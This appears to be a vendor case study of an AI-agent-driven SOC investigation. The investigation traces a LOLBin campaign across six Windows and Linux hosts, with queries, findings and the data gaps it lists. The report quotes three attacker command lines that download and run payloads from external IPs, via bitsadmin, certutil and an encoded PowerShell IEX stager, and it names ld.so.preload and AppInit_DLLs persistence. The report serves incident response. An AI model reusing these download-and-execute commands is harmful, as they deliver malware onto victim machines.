CASE-2026-0326-J · 2026-03-26 Malicious · FATAL DEEP 3 LOLBINS · 3 HOSTS ACTIVE OUTBOUND SCANNING

Three LOLBins. Three hosts.
Six confirmed compromised.

A 12-hour intake returned three malicious file detections, each using a different Living-off-the-Land technique to download a payload from a different external C2 IP. The agent’s deep scan expanded to six compromised endpoints across Windows and Linux, and confirmed all three hosts were actively conducting outbound port-scanning at the time of investigation. The firewall blocked most of it. Not all of it.

What fired
3 malicious file detections in 12h. Each used a different LOLBin: bitsadmin on WS-754, certutil on DESKTOP-1043 (FATAL · T1003 credential dumping), encoded PowerShell on EC2AMAZ-GS16M39 (recurring × 4 since 3/24).
Deep-scan expansion
6 hosts compromised: 5 Windows + 1 Linux. WS-428, ubuntu-webdev-757, and LAP-612 surfaced via Phase 2 broad mesh search. Cross-platform campaign.
Confirmed outbound
150+ outbound flows over 3 days from all 3 known-bad hosts. Most blocked (policy-deny). Some reached external servers (tcp-fin, tcp-rst-from-server). Active botnet participation.
22
FSQL queries
18m
Workers time
5
Subnets affected
6
Compromised hosts
3
C2 IPs
$1.1-2.2K
Analyst cost saved
→ Single-host alert, mesh-level scope.

Three alerts became a six-host cross-platform campaign because the agent searched beyond the initial intake. The mesh-level sweep finds the rest.

→ Outbound is half the story.

Firewall-blocked inbound C2 scanning looks like containment. The same query running outbound flips the narrative: the compromised hosts are now the scanners.

→ Tradecraft diversity is evidence.

Three LOLBins, three techniques. The diversity argues for an adaptive operator, not commodity malware. The agent surfaces this as a finding.

Three LOLBins, Three Tradecraft Patterns

The same threat, spelled three different ways.

The three initial alerts shared a structure (LOLBin → external download → payload execution) but no two used the same technique. That diversity argues against opportunistic ransomware and toward an adversary adapting per target.

WS-754 · laura.w*** · 10.100.9.52
HIGH
T1197 BITS Jobs · T1104 Multi-Stage Channels
cmd.exe /c bitsadmin /transfer 6cb43537 /download /priority high http://203.0.113.42/payload.exe C:\Windows\Temp\6cb43537.exe
DESKTOP-1043 · david.b*** · 172.16.87.64
FATAL
T1003 Credential Dumping · T1218.011 Certutil · WMI (scrcons.exe parent)
cmd.exe /c certutil.exe -urlcache -split -f http://192.0.2.45/svc0c661ef3.exe %TEMP%\svc0c661ef3.exe && %TEMP%\svc0c661ef3.exe
EC2AMAZ-GS16M39 · barbara.s*** · 192.168.26.182
HIGH (×4 recurring)
T1568 Dynamic Resolution · T1059.001 PowerShell · T1547.004 AppInit_DLLs · WMI
powershell.exe -WindowStyle Hidden -EncodedCommand <base64> decoded: IEX (New-Object Net.WebClient).DownloadString(‘http://192.0.2.1/stager.ps1’)

The DESKTOP-1043 alert was FATAL severity because it carried the T1003 credential-dumping MITRE tag, a chain that, if successful, exposes domain-level credentials. The EC2AMAZ-GS16M39 alert was the recurring one: same detection on 3/24 (×2), 3/25, and 3/26. Persistence is established (registry AppInit_DLLs / Poweliks technique).

Deep-Scan Expansion

Three known. Three more surfaced.

Phase 2 broadened from the three known-bad hosts to the rest of the mesh, searching by C2 IP, by hash, by LOLBin command-line pattern. Three more compromised hosts surfaced that the initial alerts hadn’t named:

  • WS-428 (10.100.11.43, Windows), additional Variant.zip detection
  • ubuntu-webdev-757 (172.16.224.201, Linux), Variant.zip in /etc/ld.so.preload on 3/26, cross-platform campaign
  • LAP-612 (172.16.35.163, Windows), AppInit_DLLs persistence variant

The Linux finding mattered. /etc/ld.so.preload persistence on an Ubuntu web dev server, using the same hash family as the Windows hosts, is the signature of an adversary running multi-platform tradecraft, not a Windows-only commodity infection. Six hosts. Five subnets. Two operating systems. One campaign.

C2 Reconnaissance Picture

Three IPs. 30+ ports. Two-way scanning.

The C2 IPs (203.0.113.42, 192.0.2.45, 192.0.2.1) weren’t just serving payloads. They were simultaneously scanning the internal network: 122 firewall drop/reject events across three days, targeting an obvious port list:

22
SSH
23
Telnet
445
SMB
1433
MSSQL
1521
Oracle
2375
Docker
3306
MySQL
3389
RDP
5601
Kibana
5672
AMQP
6379
Redis
8443
HTTPS
9092
Kafka
10250
Kubelet
27017
MongoDB
+15
more

That’s a databases + containers + remote-access target list. The C2 IPs are not casually probing; they’re enumerating crown-jewel ports. And the agent’s follow-up query confirmed the most important finding:

All three compromised hosts are actively conducting outbound port-scanning of their own. 150+ outbound flows over three days, against hundreds of external IPs, across the same port list. Most blocked by the firewall (policy-deny). Some not. Flows show tcp-fin and tcp-rst-from-server, meaning packets reached the external servers. The hosts are actively participating in scanning / botnet operations.

01

LOLBin diversity is an adversary tell.

bitsadmin, certutil, encoded PowerShell. Three techniques, three hosts, one campaign. Diversity per target argues against automation and toward an adaptive operator. The agent surfaces this as evidence, not commentary.

02

Inbound C2 scanning is a starting line, not a finish.

The firewall blocks all inbound from the C2 IPs. Good. The compromised hosts are scanning OUTBOUND. That’s the finding. Single-direction analysis misses the bigger story; the agent runs both.

03

The hash pivot finds the scope.

Three known-bad hosts became six after a hash discovery scan. The Linux finding (/etc/ld.so.preload) made the campaign cross-platform. Single-OS investigations would have closed at three hosts and missed half the campaign.

04

Persistence patterns deserve their own act.

EC2AMAZ-GS16M39 fired four times in three days against the same hash. That’s not noise. It’s a working persistence mechanism (AppInit_DLLs / Poweliks). The agent treats recurring detections as evidence of unsuccessful cleanup, not as duplicate alerts.

Queries, sources & gaps

Key queries: intake + broadening + outbound confirmation

Q112h malicious file intakeINTAKE
QUERY detection_finding.message, detection_finding.severity_id, detection_finding.observables, detection_finding.attacks, detection_finding.actor.user.name, detection_finding.device.hostname WITH detection_finding.message ICONTAINS ‘malicious file’ AFTER 12h
3 records — WS-754 (HIGH), DESKTOP-1043 (FATAL), EC2AMAZ-GS16M39 (HIGH). Each a different LOLBin.
Q5C2 IP discovery scan: 203.0.113.42 (7d, all event types)31 BLOCKS
QUERY *.message, *.time WITH %ip = ‘203.0.113.42’ AFTER 7d
31 firewall blocks + serving payload.exe to WS-754. Scanning 8+ internal hosts.
Q12Outbound flows from compromised hosts (3d)BOTNET PARTICIPATION
QUERY network_activity.src_endpoint.ip, network_activity.dst_endpoint.ip, network_activity.dst_endpoint.port, network_activity.connection_info.action, network_activity.time WITH network_activity.src_endpoint.ip IN (‘10.100.9.52’, ‘172.16.87.64’, ‘192.168.26.182’) AFTER 3d
150+ outbound flows across 30+ port types. Majority policy-deny; some tcp-fin / tcp-rst-from-server (partially succeeded). Active outbound scanning confirmed.
Q16Hash discovery: Variant.zip cross-platform sweep+3 HOSTS
QUERY *.message, *.time, *.device.hostname WITH %hash = ‘ebefee9de7d429fe00593a1f6203cd6a’ AFTER 7d
3 additional hosts: WS-428, ubuntu-webdev-757 (/etc/ld.so.preload), LAP-612. Cross-platform campaign confirmed.
Q18EC2AMAZ-GS16M39 recurring detection (7d)PERSISTENCE
QUERY detection_finding.message, detection_finding.time, detection_finding.file.path WITH detection_finding.device.hostname = ‘EC2AMAZ-GS16M39’ AFTER 7d
4 recurrences of svchost.zip (3/24, 3/24, 3/25, 3/26) + Poweliks.zip in AppInit_DLLs registry. Persistence mechanism actively re-deploying.

Showing 5 of 22 queries. Full audit trail in queries.md.

Sources queried · with status

SourceStatusNotes
detection_finding (endpoint)HIT3 malicious file alerts + 6-host hash sweep
network_activity (firewall)HIT122 inbound C2 scan blocks + 150+ outbound flows from compromised hosts
osint_inventory_infoHITHost registration + C2 IP reputation tracking
process_activityEMPTY0 records for any of the 3 affected hosts, cannot confirm execution
authenticationEMPTY0 records for affected users, cannot check lateral movement
egress_proxyGAPEgress firewall logs not queried, successful outbound to C2 unverified

Gaps explicitly catalogued

  • No process telemetry for any of the 3 known-bad hosts, cannot confirm if LOLBin commands executed successfully or if payloads ran. Recommend deploying EDR.
  • No authentication data for affected users, cannot check for lateral movement, privilege escalation, or credential use post-compromise.
  • status_id null on all alerts, cannot distinguish triaged from untriaged. All treated as open / active.
  • No egress firewall logs queried, partial outbound success (tcp-fin) observed via network_activity but successful payload exfil to C2 not yet confirmed.
  • OSINT hash reputation not enriched. VirusTotal / AlienVault not queried. Recommend verifying hashes against external intel before mass blocking.